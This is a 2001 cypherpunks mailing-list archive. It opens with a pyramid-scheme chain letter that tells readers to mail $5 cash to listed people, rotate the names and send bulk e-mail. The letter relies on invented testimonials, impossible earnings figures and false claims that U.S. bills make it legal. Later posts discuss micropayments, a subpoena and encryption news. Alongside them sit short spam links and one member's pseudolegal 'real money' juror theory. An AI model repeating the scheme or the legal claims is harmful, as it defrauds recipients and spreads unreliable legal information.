**** For each report, send $5 CASH, THE NAME & NUMBER OF THE
REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS
to the person whose name appears ON THAT LIST next to the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE
TOP LEFT CORNER in case of any mail problems.

**** When you place your order, make sure you order each of the 5
reports. You will need all 5 reports so that you can save them on your 
computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00.

**** Within a few days you will receive, via e-mail, each of the 5
reports from these 5 different individuals. Save them on your computer
so they will be accessible for you to send to the 1,000's of people
who will order them from you. Also make a floppy of these
reports and keep it on your desk in case something happen to your
computer.

****.IMPORTANT - DO NOT alter the names of the people who are
listed next to each report, or their sequence on the list, in
any way other than what is instructed below in steps 1 through
6 or you will loose out on majority of your profits. Once you
understand the way this works, you will also see how it does not work if you 
change it.

Remember, this method has been tested, and if you alter, it
will NOT work!!! People have tried to put their friends/relatives names
on all five thinking they could get all the money. But it does not work this 
way. Believe us, we all have tried to be greedy and then nothing happened. 
So Do Not try to change anything other than what is instructed. Because if 
you do, it will not work for you. Remember, honesty reaps the reward!!!

1.. After you have ordered all 5 reports, take this advertisement
and REMOVE the name & address of the person in REPORT # 5. This
person has made it through the cycle and is no doubt counting
their fortune.

2.... Move the name & address in REPORT # 4 down TO REPORT # 5.

3.... Move the name & address in REPORT # 3 down TO REPORT # 4.

4.... Move the name & address in REPORT # 2 down TO REPORT # 3.

5.... Move the name & address in REPORT # 1 down TO REPORT # 2

6.... Insert YOUR name & address in the REPORT # 1 Position.

PLEASE MAKE SURE you copy every name & address ACCURATELY !
=========================================================

Take this entire letter, with the modified list of names, and save
it on your computer. DO NOT MAKE ANY OTHER CHANGES.
Save this on a disk as well just in case if you loose any data.

To assist you with marketing your business on the internet, the
5 reports you purchase will provide you with invaluable
marketing information which includes how to send bulk e-mails legally,
where to find thousands of free classified ads and much more.

There are 2 Primary methods to get this venture going:

METHOD # 1 : BY SENDING BULK E-MAIL LEGALLY
============================================
let's say that you decide to start small, just to see how it
goes, and we will assume You and those involved send out only
5,000 e-mails each. Let's also assume that the mailing receive only a
0.2% response (the response could be much better but lets just
say it is only 0.2% . Also many people will send out hundreds of
thousands e-mails instead of only 5,000 each).

Continuing with this example, you send out only 5,000 e-mails.
With a 0.2% response, that is only 10 orders for report # 1.
Those 10 people responded by sending out 5,000 e-mail
each for a total of 50,000. Out of those 50,000 e-mails only
0.2% responded with orders. That's = 100 people responded
and ordered Report # 2. Those 100 people mail out 5,000
e-mails each for a total of 500,000 e-mails. The 0.2% response
to that is 1000 orders for Report # 3. Those 1000 people send
out 5,000 e-mails each for a total of 5 million e-mails sent out.
The 0.2% response to that is 10,000 orders for Report # 4.
Those 10,000 people send out 5,000 e-mails each for a total of
50,000,000 (50 million) e-mails. The 0.2% response to that is
100,000 orders for Report # 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half million).

Your total income in this example is:
1..... $50 +
2..... $500 +
3..... $5,000 +
4..... $50,000 +
5..... $500,000 ......... Grand Total = $555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF
MONEY !

------------------------------------------------------------------------------

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for
a moment what would happen if everyone, or half or even one 4th
of those people mailed 100,000 e-mails each or more? There are
over 250 million people on the internet worldwide and counting.
Believe me, many people will do just that, and more!

METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET
===================================================
Advertising on the net is very very inexpensive and there are
hundreds of FREE places to advertise. Placing a lot of free ads
on the internet will easily get a larger response. We strongly
suggest you start with Method # 1 and add METHOD # 2 as you go
along.

For every $5 you receive, all you must do is e-mail them the Report
they ordered. That's it . Always provide same day service on all
orders. This will guarantee that the e-mail they send out, with your
name and address on it, will be prompt because they can not advertise until 
they receive the report.

_____________________ AVAILABLE REPORTS_____________________

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.

Notes: Always send $5 cash (U.S. CURRENCY) for each Report.
Checks NOT accepted. Make sure the cash is concealed by wrapping
it in at least 2 sheets of paper. On one of those sheets of paper,
Write the NUMBER & the NAME of the Report you are ordering, YOUR
E-MAIL ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW :

REPORT#1  "The Insider's Guide to Sending
Bulk E-mail on the Internet"
ORDER REPORT#1 FROM:

David Versteeg
28 Simmons Street
Rochester, NY 14606

 
REPORT#2 "The Insiders Guide to Advertising for Free on the
Internet"
ORDER REPORT#2 FROM:

Glen Kelly
890 Ravenwood Ct. 
Biloxi, Ms. 39532

 
REPORT#3 "The Secrets to Multilevel Marketing on the Internet"
ORDER REPORT#3 FROM:

C Shaw
P.O. Box 468
Schomberg, Ontario
Canada LOG ITO


REPORT#4 " How to become a Millionaire untilizing the Power of
Multi Level Marketing and the Internet"
ORDER REPORT#4 FROM:

Elaine Rix
138 Dundas Street, West, #243
Toronto, Ontario
Canada M5G 1C3


REPORT#5 "How to Send 1,000,000 e-mails for FREE"
ORDER REPORT#5 FROM:

Yan Wen
25 Elm Street #907
Toronto, Ontario
Canada, M5G 2G5

 
 
 
There are currently more than 250,000,000 people online
worldwide!

$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.

After you have received 10 orders, 2 to 3 weeks after that
you should receive 100 orders or more for REPORT # 2.
If you did not, continue advertising or sending e-mails until
you do.

Once you have received 100 or more orders for Report # 2,
YOU CAN RELAX, because the system is already working for
you , and the cash will continue to roll in !

THIS IS IMPORTANT TO REMEMBER : Every time your name is
moved down on the list, you are placed in front of a different report.
You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND
START THE WHOLE PROCESS AGAIN. There is NO LIMIT to
the income you can generate from this business !!!
____________________________________________________

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM:

You have just received information that can give you financial
freedom for the rest of your life, with NO RISK and JUST A
LITTLE BIT OF EFFORT. You can make more money in the
next few weeks and months than you have ever imagined.

Follow the program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now.
Remember to e-mail a copy of this exciting report after you
have put your name and address in Report #1 and moved others to
#2...........# 5 as instructed above. One of the people you send this to may 
send out 100,000 or more e-mails and your name will be on everyone of them. 
Remember though, the more you send out the more potential customers you will 
reach.

So my friend, I have given you the ideas, information,
materials and opportunity to become financially independent. IT IS UP TO YOU 
NOW !

************** MORE TESTIMONIALS ****************

"My name is Mitchell. My wife , Jody and I live in Chicago.
I am an accountant with a major U.S. Corporation and I
make pretty good money. When I received this program I grumbled
to Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population and
percentages involved. I ''knew'' it wouldn't work. Jody
totally ignored my supposed intelligence and few days later she jumped in 
with both feet. I made merciless fun of her, and was ready to
lay the old ''I told you so'' on her when the thing didn't
work. Well, the laugh was on me! Within 3 weeks she had received
50 responses. Within the next 45 days she had received a
total of $ 147,200.00 all cash! I was shocked. I have
joined Jody in her ''hobby''."
Mitchell Wolf,
Chicago, Illinois

------------------------------------------------------------

"Not being the gambling type, it took me several weeks to
make up my mind to participate in this plan. But conservative that
I am, I decided that the initial investment was so little
that there was just no way that I wouldn't get enough orders to at
least get my money back.

I was surprised when I found my medium size post office box
crammed with orders. I made $319,210.00 in the first 12
weeks. The nice thing about this deal is that it does not matter
where people live. There simply isn't a better investment
with a faster return and so big."
Dan Sondstrom, Alberta,
Canada

-----------------------------------------------------------

"I had received this program before. I deleted it, but
later I wondered if I should have given it a try. Of course, I had
no idea who to contact to get another copy, so I had to wait
until I was e-mailed again by someone else.........11 months
passed then it luckily came again...... I did not delete this
one! I made more than $490,000 on my first try and all the
money came within 22 weeks".
Susan De Suza,
New York, N.Y.

----------------------------------------------------

"It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple
instructions carefully and within 10 days the money
started to come in. My first month I made $ 20,560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet".
Fred Dellaca, Westport,
New Zealand

------------------------------------------------------------


ORDER YOUR REPORTS TODAY AND GET STARTED ON
YOUR ROAD TO FINANCIAL FREEDOM !

=======================================================

If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade
Commission, Bureau of Consumer Protection, Washington, D.C.


Under Bill s.1618 TITLE III passed by the 105th US Congress this
letter cannot be considered spam as long as the sender includes
contact information and a method of removal.
This is one time e-mail transmission. No request for removal is
necessary.

------------------------------------------------------------
This message is sent in compliance of the new email
Bill HR 1910. Under Bill HR 1910 passed by the 106th
US Congress on May 24, 1999, this message cannot be
considered Spam as long as we include the way to be
removed. Per Section HR 1910, Please type "REMOVE" in
the subject line and reply to this email. All removal
requests are handled personally an immediately once
received.
-------------------------------------------------------------------------------------------------------------




From fulvia at moteride.net  Mon Feb 26 11:46:39 2001
From: fulvia at moteride.net (fulvia at moteride.net)
Date: Mon, 26 Feb 2001 14:46:39 -0500
Subject: BlackJack Anyone???
Message-ID: <76751t1w556g35ptew8f.6ks80x2l2ttk76ilhw@watcher.moteride.net>

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From bear at sonic.net  Mon Feb 26 14:57:48 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 26 Feb 2001 14:57:48 -0800 (PST)
Subject: Micropayments: Effective Replacement For Ads?
In-Reply-To: <3A9AB6CB.B9370411@dev.tivoli.com>
Message-ID: <Pine.LNX.4.21.0102261430470.21111-100000@bolt.sonic.net>




I don't think micropayments are going to work in anything like 
their present form.  I do not want to be pestered about "is it 
okay to spend half a cent on X?"  or "Subscriptions to Y cost 
only $12 a year" kind of stuff.  That's too much cognitive 
overload.

If they can fix micropayments so that I can authorize my web 
agent to spend up to $5 a month and not pester me about it, 
they might have something I'd use.

But the whole "not pester" thing is at odds with what a lot 
of sites want to accomplish.  For example, a web agent that 
was only authorized to spend five bucks a month would regard 
any site containing links that cost more than a penny as 
too expensive a place to be - and after it discovered this, 
I'd want it to reformat pages returned from search engines 
etc to de-emphasize those links and the text about the site. 
If the agent thinks it's too expensive, it sure as hell 
shouldn't be on the first page of search results - at least 
not the first page of search results the agent shows me.

Conversely, if the web agent is not authorized to spend 
money, then sites supported by micropayments ought to be cut 
completely out of search engine results, and links to them 
found elsewhere ought to behave as "dead links" as far as 
my browser is concerned.  

I never EVER want to have to remember a username and password 
for a site supported by micropayments -- again, the cognitive 
load is too high for the piffling amounts we're talking about. 

My web agent ought to keep me informed about which of my online 
habits are expensive and in what degree - but that's maybe a 
trailing-two-weeks summary about how the budgeted money is 
being spent, not an "okay to spend half a penny?" dialog every 
ten seconds on the site. 

Finally, sites supported by micropayments are going to have to 
figure out something about web spiders.  If "scooter" can't 
spend several million dollars a month on these places, they're 
not going to get into the altavista database, for example.  So 
if you want the site to be in a search engine at all, you're 
going to have to let the search engine's robot cruise the site 
for free.  Wanna bet it would be about twenty seconds before 
somebody released a "Pretend to be a web spider and browse pay 
sites for FREE!" utility?

				Bear







From aimee.farr at pobox.com  Mon Feb 26 13:06:08 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Mon, 26 Feb 2001 15:06:08 -0600
Subject: The Mystery of Capital - on law
In-Reply-To: <3A99DC29.819B5CF1@ssz.com>
Message-ID: <NEBBJHBKILFDJEFIABHPAEPECDAA.aimee.farr@pobox.com>


Jim said:

> " http://slashdot.org/books/01/02/07/2119225.shtml ."

>From the review: "His message is simple -- discover the law, then write it."

~
I'm involved in forming a multidisciplinary Society For Transprecedential
Thinking & Legal Futurism - one proposed name - that would explore this
process. If this interests anybody, shoot me an email with a statement of
interest.

-A:mee




From rbyrne at mitre.org  Mon Feb 26 12:10:09 2001
From: rbyrne at mitre.org (Rich Byrne)
Date: Mon, 26 Feb 2001 15:10:09 -0500
Subject: CIA intelligence info
Message-ID: <3A9AB821.E74FEECF@mitre.org>

can you order the consumer's guide to intelligence if it is still
available?
thx

http://cypherpunks.venona.com/date/1996/01/msg00084.html
--
Rich Byrne
Executive Resource Director, CAFC2S

Serving the Nation
    Through Technical Excellence
         And Strategic Partnerships

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From sammie at cham.fsbusiness.co.uk  Mon Feb 26 08:58:58 2001
From: sammie at cham.fsbusiness.co.uk (samantha chambers)
Date: Mon, 26 Feb 2001 16:58:58 -0000
Subject: home worker 
Message-ID: <MABBKMAOGKJNIMGFBLEFEECBCAAA.sammie@cham.fsbusiness.co.uk>


please send more info




From jimherbe at tpg.com.au  Mon Feb 26 17:53:45 2001
From: jimherbe at tpg.com.au (jimherbe at tpg.com.au)
Date: Mon, 26 Feb 2001 17:53:45 -0800 (PST)
Subject: That site for buying and selling businesses V
Message-ID: <200102270153.RAA06918@toad.com>

Hey

That site on the net for buying and selling businesses is http://bsab.com.au

This is the one that Craig Simmons told us he sold his shop from. I've checked it out - it looks great - but I do see a problem for you in that nobody is going to pay you $950k for your business unless you move to NT. Every other place in Australia has your type of business for far less and making more money.

ONLY KIDDING  - Check it out it has all the information on buying and selling a Business in Australia and it has stacks of businesses for sale and people looking for businesses.  Here is the link  http://www.bsab.com.au/

I've put a ad up in wanted to buy today it's free 
Have a look at my ad  click on this http://www.bsab.com.au/boardinfo.asp?IDnum=140 

Hey don't send me your business I can't handle paying Johnnie 100k in tax each year like you and supporting your sister too.

Give me a call after you look at this site
jim

From jya at pipeline.com  Mon Feb 26 14:57:43 2001
From: jya at pipeline.com (John Young)
Date: Mon, 26 Feb 2001 17:57:43 -0500
Subject: Bell Subpoena 2
Message-ID: <200102262308.SAA26143@hall.mail.mindspring.net>


Another subpoena was served on me today by Treasury 
Agent Tom Jack to appear at Jim Bell's trial on April 2, 2001
9:00 AM, in Tacoma, WA.

I have tried three times to get a transcript of my grand jury 
testimony: faxed letter to the Grand Jury Foreman and AUSA
Robb London January 27; a phone message left for Robb 
on February 12, and another faxed letter to Robb and the 
Foreman on February 20 with copy to Judge Tanner, 
presiding in Jim's case. No answer to any of the 3 requests
-- except today's subpoena dated February 21.








From julswig at juno.com  Mon Feb 26 19:41:29 2001
From: julswig at juno.com (Julian Swig)
Date: Mon, 26 Feb 2001 19:41:29 -0800
Subject: REAL MONEY STILL RULES
Message-ID: <20010226.194130.-498329.16.julswig@juno.com>

        Every State(2) has a Money of Account Provision (I'll bet)       


        I just figured CaGovC 6850.

        Real money is provided for so the "judges" and the public
employees can decline to accept transfer of debt (They do not have to
allow their "checks" to "clear"). They can require gold or silver from
the Controller and/or the Treasurer!
 
        This must be so even though 3 USC 1- 21 makes the States(2) (and
all county voting precincts ) = the District of Columbia. The
administrative governments for the 50 provinces (States(2)) must
accommodate the 50 union States(1) respectively. When we invoke (if we
know how) their State(2) courts onto the law side, the judge and jury are
deemed capable of being paid real money.
        (If we don't invoke the court in forma pauperis but transfer debt
for fees we will get the fiction-equity-UCC State(2) court regardless of
what we plead.)

        Got spare change? Run an ad in your local Shopper.
        JURORS Get your ($)25 per day in Gold
        [Your phone # and/or e-mail or web page]
        Provide a networking source, forms and information to enable
jurors to demand and obtain their real money.
        ( ) for $ is because in CA jury service is now 5 dollars a day
(There is talk of raising it). So 5 dollars are "purchased" for about 25
in ($), i.e., in FRNs. I figured for silver because I have a general idea
of the exchange value, but "gold" is a better trigger for an ad. (I get
the foundation for principles settled then I can adjust the particulars
-That's how I work!-JS)
        
        Jurors are summoned by ALL CAPS "commercial names" so they must
be voir dired for the capacity they will accept for sitting as jurors.
They can still accept transfer of debt but they must affirm they will
judge the evidence in their flesh and blood capacity (They must be
educated on the fly that they have a fiction identity and a real
identify. -Such education is never permitted on the fiction-equity-UCC
side of the court.)

        So how are Money of Account provisions rationalized when the
treasurers, court clerks, county collections receive "cash"!!!!? For
checks I imagine they are accounted for as dollars but once the county
accepts the privilege of letting the debts be discharged over at the bank
how are the bank balances reported back in the county controller's
office!!!!!? Oh! Maybe they just report the amounts they sent over and
are oblivious to what has happens. They just write checks and warrants to
pay out but folks keep accepting discharge by transfer of debt but the
county never catches on!

Peoples Law Association/Julian: Swig at julswig at juno.com
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From ravage at einstein.ssz.com  Mon Feb 26 18:17:48 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 26 Feb 2001 20:17:48 -0600
Subject: CNN.com - Sci-Tech - Casinos use facial recognition technology - February 26, 2001
Message-ID: <3A9B0E4C.B3DFBDFB@ssz.com>


http://www.cnn.com/2001/TECH/ptech/02/26/casino.surveillance.ap/index.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From dave.storage at xtra.co.nz  Sun Feb 25 23:31:46 2001
From: dave.storage at xtra.co.nz (Dave S.)
Date: Mon, 26 Feb 2001 20:31:46 +1300
Subject: Kiwi Cops pay for Invading Privacy
Message-ID: <mailman.367.1576007499.31620.cypherpunks-legacy@lists.cpunks.org>

* Kiwi Cops Pay To Access Encrypted Phone Calls

Police in New Zealand will pay Vodafone NZ$1.1 million to be
allowed access to encrypted cell phone calls.

According to Stuff.co.nz, the Crimes Act in New Zealand already
allows the police to intercept phone calls, but they can't
decipher the encrypted calls made on the Vodafone network.

Paul Swain, the communications minister, said that the money had
been allocated for the deal, which was expected to be completed
in a few weeks.

Meanwhile, the New Zealand police forces are outraged that they
have to foot the bill. The president of the Police Association,
Greg O'Connor, complained that in the US and Australia the
responsibility lies with the service provider to give the police
access to calls.

"In New Zealand it doesn't happen. In New Zealand the
telecommunications companies are creaming it off police," he
said.

http://www.theregister.co.uk/content/8/17143.html

COMMENT: Why should the telecommunications companies foot the
bill?  They are not in the business of providing freebies to the
State.  Government agencies should pay for special services just
like anyone else.

The New Zealand law is much more fair than corresponding
legislation in the US and Australia.

**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per month)
Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
(614) 313-5722  ICQ: 106212065   Archived at http://groups.yahoo.com/group/fa/
**************************************************************************




From aubrey at frogdip.net  Mon Feb 26 17:35:31 2001
From: aubrey at frogdip.net (aubrey at frogdip.net)
Date: Mon, 26 Feb 2001 20:35:31 -0500
Subject: Play Vegas In Your Own House!!!
Message-ID: <8h4cba0yl36n2fe.634hpq5@widus.frogdip.net>

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From ravage at einstein.ssz.com  Mon Feb 26 19:18:26 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 26 Feb 2001 21:18:26 -0600
Subject: NEWS - Method Found To 'Purify' Partially Entangled States
Message-ID: <3A9B1C82.E9C0B8B1@ssz.com>


http://www.scienceagogo.com/news/20010125232823data_trunc_sys.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From julswig at juno.com  Mon Feb 26 21:29:40 2001
From: julswig at juno.com (Julian Swig)
Date: Mon, 26 Feb 2001 21:29:40 -0800
Subject: REAL MONEY STILL RULES
Message-ID: <20010226.212940.-498329.19.julswig@juno.com>

The recipient of this message has exceeded their message limits, they
have not received your message
This above is the the message I got back from postmaster at another.com I
don't understand to whom it relates.

If you failed to receive this before please just reply without comment.
-Thank you  -JS


----- Forwarded Message -----
From: Julian Swig <julswig at juno.com>
To: jd.consultants at juno.com,geo-support at yahoo-inc.com,tech at nmol.com,
help at whc.net,ShepardR at aol.com, cypherpunks at cyberpass.net,
becraft at hiwaay.net, bigal123 at ncol.net, 

quatloos at quatloos.com, SupremeLaw at egroups.com 

Cc: jrkearns at ev1.net,jail4judges at mindspring.com,dave at caprica.com,
sheriff at smugglersbay.com,stevenpattison at juno.com,
robertgarvin at yahoo.com,ladylumbee at netease.net,
libertywave at usa.net,kenaston at digital.net,
dbernstein at pop.igc.org,guppy3 at pacbell.net, 
Reduced list for test above
ischiff at earthlink.net,eclok at juno.com,tarzan at safearth.com,
SupremeLaw at yahoogroups.com,barrie at thepotentialsunlimited.com,
b.chandler at gte.net,GUDRUNBODE at cs.com,jakepm at ix.netcom.com
Date: Mon, 26 Feb 2001 19:41:29 -0800
Subject: REAL MONEY STILL RULES

        Every State(2) has a Money of Account Provision (I'll bet)       


        I just figured CaGovC 6850.

        Real money is provided for so the "judges" and the public
employees can decline to accept transfer of debt (They do not have to
allow their "checks" to "clear"). They can require gold or silver from
the Controller and/or the Treasurer!

        This must be so even though 3 USC 1- 21 makes the States(2) (and
all county voting precincts ) = the District of Columbia. The
administrative governments for the 50 provinces (States(2)) must
accommodate the 50 union States(1) respectively. When we invoke (if we
know how) their State(2) courts onto the law side, the judge and jury are
deemed capable of being paid real money.
        (If we don't invoke the court in forma pauperis but transfer debt
for fees we will get the fiction-equity-UCC State(2) court regardless of
what we plead.)

        Got spare change? Run an ad in your local Shopper.
        JURORS Get your ($)25 per day in Gold
        [Your phone # and/or e-mail or web page]
        Provide a networking source, forms and information to enable
jurors to demand and obtain their real money.
        ( ) for $ is because in CA jury service is now 5 dollars a day
(There is talk of raising it). So 5 dollars are "purchased" for about 25
in ($), i.e., in FRNs. I figured for silver because I have a general idea
of the exchange value, but "gold" is a better trigger for an ad. (I get
the foundation for principles settled then I can adjust the particulars
-That's how I work!-JS)
        
        Jurors are summoned by ALL CAPS "commercial names" so they must
be voir dired for the capacity they will accept for sitting as jurors.
They can still accept transfer of debt but they must affirm they will
judge the evidence in their flesh and blood capacity (They must be
educated on the fly that they have a fiction identity and a real
identify. -Such education is never permitted on the fiction-equity-UCC
side of the court.)

        So how are Money of Account provisions rationalized when the
treasurers, court clerks, county collections receive "cash"!!!!? For
checks I imagine they are accounted for as dollars but once the county
accepts the privilege of letting the debts be discharged over at the bank
how are the bank balances reported back in the county controller's
office!!!!!? Oh! Maybe they just report the amounts they sent over and
are oblivious to what has happens. They just write checks and warrants to
pay out but folks keep accepting discharge by transfer of debt but the
county never catches on!

Peoples Law Association/Julian: Swig at julswig at juno.com
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From stevesemailaddress2001 at yahoo.com  Mon Feb 26 21:56:42 2001
From: stevesemailaddress2001 at yahoo.com (Steve)
Date: Mon, 26 Feb 2001 21:56:42
Subject: Who Wants To Be A $ Millionare
Message-ID: <200102270257.SAA08287@toad.com>

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From schear at lvcm.com  Mon Feb 26 22:19:36 2001
From: schear at lvcm.com (Steve Schear)
Date: Mon, 26 Feb 2001 22:19:36 -0800
Subject: Centre for Hypersonics - HyShot Scramjet Test
  Programme
In-Reply-To: <F504A8CEE925D411AF4A00508B8BE90A91EBC1@exna07.securitydyna
 mics.com>
Message-ID: <5.0.0.25.0.20010226215104.054c0280@pop3.lvcm.com>


At 09:45 AM 2/23/01 -0500, Trei, Peter wrote:
>I'll speculate that Jim posted this as a demo that 'amateur' rocketry
>can reach orbit. If you read the article, you'll find it does nothing of
>the kind. This is suborbital - in fact, the rocket goes almost 350km
>straight up and down (they're testing scramjet configurations during
>re-entry).

A significant portion of a solid rocket motor's weight is the casing and 
nozzle.  The casing allows the gases from the burning propellent to 
generate enough pressure that when they exit the nozzle their moving a very 
high velocity.  One of the brightest recent ideas in rocketry comes from 
Technanogy (http://www.technanogy.net): if you reduce the size of the 
propellent grains the velocity of the gasses at the burning surface can go 
from sub-sonic to supersonic without the need for a nozzle (perhaps even a 
casing).  Goodbye nozzle and casing, hello single-stage to orbit.  Thrust 
vectoring, if desired, would be accomplished by other well-known means.

Technanogy has built a pilot plant to manufacture 40 nm aluminum 
powder.  The technology's efficacy was verified by a series of test at 
Aerospace Corp. and they have secured a grant to retrofit a large number 
Sidewinders.  They claim that the change should dramatically increase range 
with minimal weapon system changes.  If successful they hope to apply their 
approach to orbital vehicles.

steve




From tranzept at pacbell.net  Mon Feb 26 22:26:09 2001
From: tranzept at pacbell.net (E J)
Date: Mon, 26 Feb 2001 22:26:09 -0800
Subject: hey
Message-ID: <AEEOJBEIKCJKGDJIJNJFOEBMCAAA.tranzept@pacbell.net>


hey you can buy this stuff at
http://www.track2you.com/cgi/viper/link.cgi?395WV




From tcmay at got.net  Mon Feb 26 22:32:05 2001
From: tcmay at got.net (Tim May)
Date: Mon, 26 Feb 2001 22:32:05 -0800
Subject: Micropayments: Effective Replacement For Ads?
In-Reply-To: <Pine.LNX.4.21.0102261430470.21111-100000@bolt.sonic.net>
References: <Pine.LNX.4.21.0102261430470.21111-100000@bolt.sonic.net>
Message-ID: <a05010402b6c0f74b507c@[207.111.241.106]>


At 2:57 PM -0800 2/26/01, Ray Dillinger wrote:
>
>If they can fix micropayments so that I can authorize my web
>agent to spend up to $5 a month and not pester me about it,
>they might have something I'd use.

Most people will skip any sites that cost money...unless, maybe, it's 
a porn site that they specifically want.

There are very, very few pay sites which are surviving, let alone thriving.

The "10 cents to read this dumb page" model is likely to fail.

What I think, or what we think, doesn't make it so. But Cypherpunks 
should certainly not think of these kinds of micropayments as the 
holy grail for digital money.

This said, there may someday be _novel_ micropayment applications. 
Some think newspaper subscriptions (with more or less true 
representations of page layouts, as a couple of newspapers are 
proposing) will be this application. I suspect not.
>
>
>My web agent ought to keep me informed about which of my online
>habits are expensive and in what degree - but that's maybe a
>trailing-two-weeks summary about how the budgeted money is
>being spent, not an "okay to spend half a penny?" dialog every
>ten seconds on the site.

And there will likely be scams whereby tens of millions of Web 
surfers find out "two trailing weeks later" that they paid some money 
for something they didn't want, as when they were redirected to some 
page and charged automatically before they even knew they were there.

Even with limits on payments--to stop the $135.87 "fee" for landing 
on www.sexyfun.com by accident or by redirection--there will be 
angles for grifters and cons to exploit anytime an automated "don't 
bother me with petty charges" system is used.

Maybe something like a token dispenser radio button. When a page 
comes up, one "feeds tokens in."

There are a few obvious candidates for "minipayments": software 
downloads (shareware or commercial), songs and music in some 
post-Napster world, etc.


>
>Finally, sites supported by micropayments are going to have to
>figure out something about web spiders.  If "scooter" can't
>spend several million dollars a month on these places, they're
>not going to get into the altavista database, for example.  So
>if you want the site to be in a search engine at all, you're
>going to have to let the search engine's robot cruise the site
>for free.  Wanna bet it would be about twenty seconds before
>somebody released a "Pretend to be a web spider and browse pay
>sites for FREE!" utility?

One obvious solution: certificates. Google and Alta Vista get "free 
passes." Nothing new in this. Like reporters being comped to a 
conference.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From jamesd at echeque.com  Mon Feb 26 23:07:27 2001
From: jamesd at echeque.com (James A. Donald)
Date: Mon, 26 Feb 2001 23:07:27 -0800
Subject: Micropayments: Effective Replacement For Ads?
In-Reply-To: <Pine.LNX.4.21.0102261430470.21111-100000@bolt.sonic.net>
References: <3A9AB6CB.B9370411@dev.tivoli.com>
Message-ID: <5.0.2.1.0.20010226230534.028e0f80@shell11.ba.best.com>


     --
At 02:57 PM 2/26/2001 -0800, Ray Dillinger wrote:
 > Finally, sites supported by micropayments are going to have to
 > figure out something about web spiders.  If "scooter" can't spend
 > several million dollars a month on these places, they're not going
 > to get into the altavista database, for example.  So if you want the
 > site to be in a search engine at all, you're going to have to let
 > the search engine's robot cruise the site for free.  Wanna bet it
 > would be about twenty seconds before somebody released a "Pretend to
 > be a web spider and browse pay sites for FREE!" utility?

  Not a problem.  Typically a micropayment site will have index and summary 
pages that are free, and these free pages will contain lots of pay 
links.  You will not want the spider to traverse the pay links.

     --digsig
          James A. Donald
      6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
      E50EWZ3DbSA4I1elfY6ZL3m256NEr50epMUkMMvK
      43w6FHlI8HTFJ2mODNAVwTRsFWtqomg18OkMhSMaj




From George at Orwellian.Org  Mon Feb 26 21:41:25 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Tue, 27 Feb 2001 00:41:25 -0500 (EST)
Subject: Bell Subpoena 2
Message-ID: <200102270541.AAA29788@www5.aa.psiweb.com>


gimme a J gimme a Y gimme an A wrote:
#    Another subpoena was served on me today by Treasury
#    Agent Tom Jack to appear at Jim Bell's trial on April 2, 2001
#    9:00 AM, in Tacoma, WA.

Jayzus. I'd refuse to go on the basis of
it interfering with work. You've gone once.

#    I have tried three times to get a transcript of my grand jury
#    testimony: faxed letter to the Grand Jury Foreman and AUSA
#    Robb London January 27; a phone message left for Robb
#    on February 12, and another faxed letter to Robb and the
#    Foreman on February 20 with copy to Judge Tanner,
#    presiding in Jim's case. No answer to any of the 3 requests
#    -- except today's subpoena dated February 21.

JYA desperately trying to pay someone by the word.

<Declan smiles>




From adam at cypherspace.org  Mon Feb 26 23:03:47 2001
From: adam at cypherspace.org (Adam Back)
Date: Tue, 27 Feb 2001 03:03:47 -0400
Subject: legetimised (or uncontrollable) piracy or info-market of the
  future (Re: Micropayments: Effective Replacement For Ads?)
In-Reply-To: <a05010402b6c0f74b507c@[207.111.241.106]>; from Tim May on
  Mon, Feb 26, 2001 at 10:32:05PM -0800
